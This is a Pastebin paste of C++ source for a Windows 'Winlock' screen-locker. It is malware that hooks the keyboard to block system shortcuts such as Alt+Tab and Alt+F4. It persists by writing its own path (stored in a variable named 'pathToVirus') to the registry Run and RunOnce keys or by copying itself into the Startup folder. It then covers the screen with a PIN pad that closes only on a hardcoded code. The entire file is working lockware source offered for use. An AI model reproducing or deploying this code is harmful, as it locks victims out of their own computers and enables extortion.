Advertisement
Kirill1234

Untitled

Apr 6th, 2020
919
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #pragma comment(linker,"\"/manifestdependency:type='win32' \
  2. name='Microsoft.Windows.Common-Controls' version='6.0.0.0' \
  3. processorArchitecture='*' publicKeyToken='6595b64144ccf1df' language='*'\"")
  4.  
  5. #include <windows.h>
  6. #include <tchar.h>
  7. #include "resource.h"
  8. #include <strsafe.h>
  9. #include <winreg.h>
  10.  
  11. #pragma comment(lib, "winmm.lib")
  12.  
  13.  
  14. HINSTANCE hInst;
  15. HWND      hWnd;
  16. HWND      hBtn1, hBtn2, hBtn3, hBtn4, hBtn5, hBtn6, hBtn7, hBtn8, hBtn9, hBtn0, hDelBtn, hOKBtn;
  17. HWND      hLabel;
  18.  
  19. HHOOK hHook;
  20.  
  21. LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
  22.  
  23. int CALLBACK KeyboardProc(int nCode, DWORD wParam, DWORD lParam) // Блокировка системных клавиш
  24. {
  25.     static bool KeyStroke;
  26.     static KBDLLHOOKSTRUCT* p;
  27.  
  28.     if (nCode < 0) return (int)CallNextHookEx(NULL, nCode, wParam, lParam);
  29.  
  30.     KeyStroke = FALSE;
  31.     if (nCode == HC_ACTION)
  32.     {
  33.         switch (wParam)
  34.         {
  35.         case WM_KEYDOWN:
  36.         case WM_SYSKEYDOWN:
  37.         case WM_KEYUP:
  38.         case WM_SYSKEYUP:
  39.             p = (KBDLLHOOKSTRUCT*)lParam;
  40.             KeyStroke = ((p->vkCode == VK_LWIN) || (p->vkCode == VK_RWIN)) ||
  41.                 ((p->vkCode == VK_TAB) && ((p->flags & LLKHF_ALTDOWN) != 0)) ||
  42.                 ((p->vkCode == VK_ESCAPE) && ((p->flags & LLKHF_ALTDOWN) != 0)) ||
  43.                 ((p->vkCode == VK_ESCAPE) && ((GetKeyState(VK_CONTROL) & 0x8000) != 0)) ||
  44.                 ((p->vkCode == VK_F4) && ((p->flags & LLKHF_ALTDOWN) != 0)) ||
  45.                 ((p->vkCode == 0xC0) && ((MOD_CONTROL + 0x10) != 0));
  46.  
  47.             break;
  48.         default:
  49.             break;
  50.         }
  51.     }
  52.     if (KeyStroke)
  53.         return 1;
  54.     else
  55.         return (int)CallNextHookEx(hHook, nCode, wParam, lParam);
  56.  
  57. }
  58.  
  59. BOOL RegClass(WNDPROC Proc, LPCTSTR szName, UINT brBackground)
  60. {
  61.     WNDCLASS wcex;
  62.     wcex.style = wcex.cbClsExtra = wcex.cbWndExtra = 0;
  63.     wcex.lpfnWndProc = Proc;
  64.     wcex.hInstance = hInst;
  65.     wcex.hIcon = LoadIcon(wcex.hInstance, IDI_APPLICATION);
  66.     wcex.hCursor = LoadCursor(NULL, IDC_ARROW);
  67.     wcex.hbrBackground = (HBRUSH)(COLOR_WINDOWTEXT);
  68.     wcex.lpszMenuName = NULL;
  69.     wcex.lpszClassName = szName;
  70.     return (RegisterClass(&wcex) != 0);
  71. }
  72.  
  73. int WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PWSTR lpszCmdLine, int nCmdShow)
  74. {
  75.     MSG msg;
  76.     hInst = hInstance;
  77.     if (!RegClass(WndProc, L"WinlockApp", COLOR_WINDOW))
  78.         return FALSE;
  79.  
  80.     hWnd = CreateWindowEx(NULL/*WS_EX_TOOLWINDOW | WS_EX_TOPMOST*/, L"WinlockApp", L"Winlock", WS_VISIBLE | WS_MAXIMIZE /*| WS_POPUP*/, 0, 0, 1200, 900, 0, 0, hInstance, 0);
  81.  
  82.     hHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)KeyboardProc, GetModuleHandle(NULL), 0);
  83.  
  84.     TCHAR pathToVirus[MAX_PATH];
  85.  
  86.     bool flag = false; 
  87.  
  88.     GetModuleFileName(NULL, pathToVirus, MAX_PATH);
  89.     HKEY hKeys;
  90.     if (ERROR_SUCCESS == RegCreateKeyExA(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, NULL, 0, KEY_ALL_ACCESS, NULL, &hKeys, NULL))
  91.     {
  92.         RegSetValueEx(hKeys, L"System", 0, REG_SZ, reinterpret_cast<const BYTE*>(&pathToVirus), sizeof(pathToVirus));
  93.         RegCloseKey(hKeys);
  94.         flag = true;
  95.     }
  96.     else {
  97.         if (ERROR_SUCCESS == RegCreateKeyExA(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", 0, NULL, 0, KEY_ALL_ACCESS, NULL, &hKeys, NULL))
  98.         {
  99.             RegSetValueEx(hKeys, L"System", 0, REG_SZ, reinterpret_cast<const BYTE*>(&pathToVirus), sizeof(pathToVirus));
  100.             RegCloseKey(hKeys);
  101.             flag = true;
  102.         }
  103.         else {
  104.             if (ERROR_SUCCESS == RegCreateKeyExA(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, NULL, 0, KEY_ALL_ACCESS, NULL, &hKeys, NULL))
  105.             {
  106.                 RegSetValueEx(hKeys, L"System", 0, REG_SZ, reinterpret_cast<const BYTE*>(&pathToVirus), sizeof(pathToVirus));
  107.                 RegCloseKey(hKeys);
  108.                 flag = true;
  109.             }
  110.             else {
  111.                 if (ERROR_SUCCESS == RegCreateKeyExA(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", 0, NULL, 0, KEY_ALL_ACCESS, NULL, &hKeys, NULL))
  112.                 {
  113.                     RegSetValueEx(hKeys, L"System", 0, REG_SZ, reinterpret_cast<const BYTE*>(&pathToVirus), sizeof(pathToVirus));
  114.                     RegCloseKey(hKeys);
  115.                     flag = true;
  116.                 }
  117.             }
  118.         }
  119.     }
  120.     if(!flag){
  121.         DWORD size = 1024;
  122.         TCHAR buf[1024];
  123.         GetUserName(buf, &size);
  124.         LPCWSTR username = buf;
  125.         TCHAR nullPath[1024] = L"C:\\Users\\";
  126.         LPCWSTR startupPath = L"\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\1.exe";
  127.         StringCchCat(nullPath, 1024, username);
  128.         StringCchCat(nullPath, 1024, startupPath);
  129.         LPCTSTR pathToFile = nullPath;
  130.         CopyFile(pathToVirus, pathToFile, FALSE);
  131.     }
  132.     //mciSendString(L"open \"1.mp3\" type mpegvideo alias mp3", NULL, 0, NULL);
  133.     //mciSendString(L"play mp3 repeat", NULL, 0, NULL);
  134.    
  135.     ShowWindow(hWnd, SW_SHOWDEFAULT/*SW_SHOWMAXIMIZED*/);
  136.     UpdateWindow(hWnd);
  137.     while (GetMessage(&msg, 0, 0, 0))
  138.     {
  139.         TranslateMessage(&msg);
  140.         DispatchMessage(&msg);
  141.     }
  142.  
  143.     return msg.wParam;
  144. }
  145.  
  146. LRESULT CALLBACK WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)
  147. {
  148.  
  149.     int password = 131003, userpass;
  150.     TCHAR inputText[] = L"";
  151.  
  152.     int iWidth = GetSystemMetrics(SM_CXSCREEN);  // разрешение экрана по горизонтали
  153.     int iHeight = GetSystemMetrics(SM_CYSCREEN); // разрешение экрана по вертикали
  154.  
  155.     int btnWidth = 70;                           //button's Width
  156.     int btnHeight = 30;                          //button's Height
  157.  
  158.     PAINTSTRUCT ps;
  159.     HBITMAP hBitmap;
  160.     BITMAP bm;
  161.     HDC hDC;
  162.     HDC hMemDC;
  163.  
  164.     switch (msg)
  165.     {
  166.  
  167.     case WM_PAINT:
  168.        
  169.         hDC = BeginPaint(hWnd, &ps);
  170.         hMemDC = CreateCompatibleDC(hDC);
  171.         hBitmap = LoadBitmap(hInst, MAKEINTRESOURCE(IDB_BITMAP1));
  172.         GetObject(hBitmap, sizeof(BITMAP), &bm);
  173.         SelectObject(hMemDC, hBitmap);
  174.         BitBlt(hDC, iWidth / 2 - bm.bmWidth / 2, iHeight / 2 - bm.bmHeight / 2, bm.bmWidth, bm.bmHeight, hMemDC, 0, 0, SRCCOPY);
  175.         DeleteDC(hMemDC);
  176.         ReleaseDC(hWnd, hDC);
  177.         DeleteObject(hBitmap);
  178.         EndPaint(hWnd, &ps);
  179.  
  180.         break;
  181.  
  182.     case WM_CREATE:
  183.  
  184.         mciSendString(L"1.wav", NULL, 0, NULL);
  185.  
  186.         hBtn1 =   CreateWindow(L"button", L"1", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON, iWidth/8,            iHeight*3/4,             btnWidth,   btnHeight, hWnd, HMENU(1),   hInst, NULL);
  187.         hBtn2 =   CreateWindow(L"button", L"2", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON, iWidth/8+btnWidth,   iHeight*3/4,             btnWidth,   btnHeight, hWnd, HMENU(2),   hInst, NULL);
  188.         hBtn3 =   CreateWindow(L"button", L"3", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON, iWidth/8+2*btnWidth, iHeight*3/4,             btnWidth,   btnHeight, hWnd, HMENU(3),   hInst, NULL);
  189.         hBtn4 =   CreateWindow(L"button", L"4", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON, iWidth/8,            iHeight*3/4+btnHeight,   btnWidth,   btnHeight, hWnd, HMENU(4),   hInst, NULL);
  190.         hBtn5 =   CreateWindow(L"button", L"5", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON, iWidth/8+btnWidth,   iHeight*3/4+btnHeight,   btnWidth,   btnHeight, hWnd, HMENU(5),   hInst, NULL);
  191.         hBtn6 =   CreateWindow(L"button", L"6", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON, iWidth/8+2*btnWidth, iHeight*3/4+btnHeight,   btnWidth,   btnHeight, hWnd, HMENU(6),   hInst, NULL);
  192.         hBtn7 =   CreateWindow(L"button", L"7", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON, iWidth/8,            iHeight*3/4+2*btnHeight, btnWidth,   btnHeight, hWnd, HMENU(7),   hInst, NULL);
  193.         hBtn8 =   CreateWindow(L"button", L"8", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON, iWidth/8+btnWidth,   iHeight*3/4+2*btnHeight, btnWidth,   btnHeight, hWnd, HMENU(8),   hInst, NULL);
  194.         hBtn9 =   CreateWindow(L"button", L"9", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON, iWidth/8+2*btnWidth, iHeight*3/4+2*btnHeight, btnWidth,   btnHeight, hWnd, HMENU(9),   hInst, NULL);
  195.         hBtn0 =   CreateWindow(L"button", L"0", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON, iWidth/8,            iHeight*3/4+3*btnHeight, 2*btnWidth, btnHeight, hWnd, HMENU(0),   hInst, NULL);
  196.         hDelBtn = CreateWindow(L"button", L"C", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON, iWidth/8+2*btnWidth, iHeight*3/4+3*btnHeight, btnWidth,   btnHeight, hWnd, HMENU(100), hInst, NULL);
  197.         hOKBtn =  CreateWindow(L"button", L"0K", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON, iWidth/8,           iHeight*3/4+4*btnHeight, 3*btnWidth, btnHeight, hWnd, HMENU(1000),   hInst, NULL);
  198.  
  199.         hLabel = CreateWindow(L"static", NULL, WS_CHILD | WS_VISIBLE, iWidth/8, iHeight*3/4-16, 3*btnWidth, 16, hWnd, NULL, hInst, 0);
  200.  
  201.         break;
  202.  
  203.     case WM_COMMAND:
  204.         switch (LOWORD(wParam))
  205.         {
  206.         case 0:
  207.            
  208.             GetWindowText(hLabel, inputText, 26);
  209.             _tcscat(inputText, L"0");
  210.             SetWindowText(hLabel, inputText);
  211.  
  212.             break;
  213.  
  214.         case 1:
  215.  
  216.             GetWindowText(hLabel, inputText, 26);
  217.             _tcscat(inputText, L"1");
  218.             SetWindowText(hLabel, inputText);
  219.  
  220.             break;
  221.  
  222.         case 2:
  223.  
  224.             GetWindowText(hLabel, inputText, 26);
  225.             _tcscat(inputText, L"2");
  226.             SetWindowText(hLabel, inputText);
  227.  
  228.             break;
  229.  
  230.         case 3:
  231.  
  232.             GetWindowText(hLabel, inputText, 26);
  233.             _tcscat(inputText, L"3");
  234.             SetWindowText(hLabel, inputText);
  235.  
  236.             break;
  237.  
  238.         case 4:
  239.  
  240.             GetWindowText(hLabel, inputText, 26);
  241.             _tcscat(inputText, L"4");
  242.             SetWindowText(hLabel, inputText);
  243.  
  244.             break;
  245.  
  246.         case 5:
  247.  
  248.             GetWindowText(hLabel, inputText, 26);
  249.             _tcscat(inputText, L"5");
  250.             SetWindowText(hLabel, inputText);
  251.  
  252.             break;
  253.  
  254.         case 6:
  255.  
  256.             GetWindowText(hLabel, inputText, 26);
  257.             _tcscat(inputText, L"6");
  258.             SetWindowText(hLabel, inputText);
  259.  
  260.             break;
  261.  
  262.         case 7:
  263.  
  264.             GetWindowText(hLabel, inputText, 26);
  265.             _tcscat(inputText, L"7");
  266.             SetWindowText(hLabel, inputText);
  267.        
  268.             break;
  269.  
  270.         case 8:
  271.  
  272.             GetWindowText(hLabel, inputText, 26);
  273.             _tcscat(inputText, L"8");
  274.             SetWindowText(hLabel, inputText);
  275.  
  276.             break;
  277.  
  278.         case 9:
  279.  
  280.             GetWindowText(hLabel, inputText, 26);
  281.             _tcscat(inputText, L"9");
  282.             SetWindowText(hLabel, inputText);
  283.  
  284.             break;
  285.  
  286.         case 10:
  287.  
  288.             GetWindowText(hLabel, inputText, 26);
  289.             _tcscat(inputText, L"9");
  290.             SetWindowText(hLabel, inputText);
  291.  
  292.             break;
  293.  
  294.         case 100:
  295.  
  296.             SetWindowText(hLabel, L"");
  297.  
  298.             break;
  299.  
  300.         case 1000:
  301.  
  302.             GetWindowText(hLabel, inputText, 26);
  303.             userpass = _tstoi(inputText);
  304.  
  305.             if (userpass == password)
  306.             {
  307.                 MessageBox(hWnd, L"Success!", L"SuccessWnd", NULL);
  308.                 exit(0);
  309.             }
  310.             else
  311.             {
  312.                 SetWindowText(hLabel, L"");
  313.                 MessageBox(hWnd, L"Wrong password", L"ERROR", NULL);
  314.             }
  315.  
  316.             break;
  317.         }
  318.         break;
  319.  
  320.     case WM_DESTROY:
  321.         PostQuitMessage(0);
  322.         return 0;
  323.         break;
  324.     }
  325.     return DefWindowProc(hWnd, msg, wParam, lParam);
  326. }
Advertisement
RAW Paste Data Copied
Advertisement